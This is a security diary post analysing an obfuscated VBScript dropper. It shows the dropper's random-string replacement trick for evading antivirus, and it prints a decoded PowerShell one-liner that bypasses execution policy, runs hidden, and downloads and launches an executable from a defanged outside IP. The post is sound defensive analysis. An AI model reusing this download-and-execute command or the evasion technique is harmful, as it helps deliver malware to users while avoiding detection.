Today, it’s easy to guess if a piece of code is malicious or not. Many security solutions automatically detonate it into a sandbox by security solutions. This remains quick and (most of the time still) efficient to have a first idea about the code behaviour. In parallel, many obfuscation techniques exist to avoid detection by AV products and/or make the life of malware analysts more difficult. Personally, I like to find new techniques and discover how imaginative malware developers can be to implement new obfuscation techniques. This morning, I spotted a very simple VBSscript based on only 50 lines of code. It gets an excellent VT score: 1/60[1] but it was spotted by my hunting rule! Basically, all suspicious keywords that could trigger a bell are random strings and replaced during the execution. Example: x010 = Replace(x010,"OXentrew","Executionpolicy") x010 = Replace(x010,"BCijaMA","bypass") The most interesting variable is the following: x002 = """" & x004 & """-OXentrew BCijaMA -NNoGayGay " _ & " -windowstyle caralhos2 -Seisal ""Set-Content -value " _ & " (new-object System.net.webclient)" _ & ".FuiDUi( 'MIGOSEYLOVO54[.]233[.]198[.]219/a.exe' ) " _ & " -encoding byte -Path $env:appdata\RiCOAOCAO\Network\Connections\" & rando & "; " _ & " Start-Process ""$env:appdata\RiCOAOCAO\Network\Connections\" & rando & """""" Here is the decoded version: CreateObject("Scripting.FileSystemObject").BuildPath(CreateObject("Wscript.Shell").expandenvironmentstrings( "%systemroot%" ), "System32\WindowsPowerShell\v1.0\powershell.exe" ) -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata('http://54[.]233[.]198[.]219/a.exe' ) ) -encoding byte -Path $env:appdata\Microsoft\Network\Connections\xxxxxx.exe; Start-Process $env:appdata\Microsoft\Network\Connections\xxxxx.exe" (The dumped payload xxxxx.exe is a random string of 25 characters) This onliner downloads and executes a payload. Wha about the payload? It’s a Putty client (SHA256:601cdbddfe6ac894daff506167c164c65446f893d1d5e4b95e92d960ff5f52b0), nothing malicious. There are good chances that this piece of code has been submitted to VT by a Red Team or attackers who are still brushing up their payload. The IP address is an AWS instance and the homepage returns: me empresta 10k ai??? 549d0ef4cb517e78c6a9c4d9de05b6ac This Portuguese sentence means “lend me 10k there ???” Xavier Mertens (@xme) |
Xme 687 Posts ISC Handler Feb 22nd 2020 |
Thread locked Subscribe |
Feb 22nd 2020 2 years ago |
Sign Up for Free or Log In to start participating in the conversation!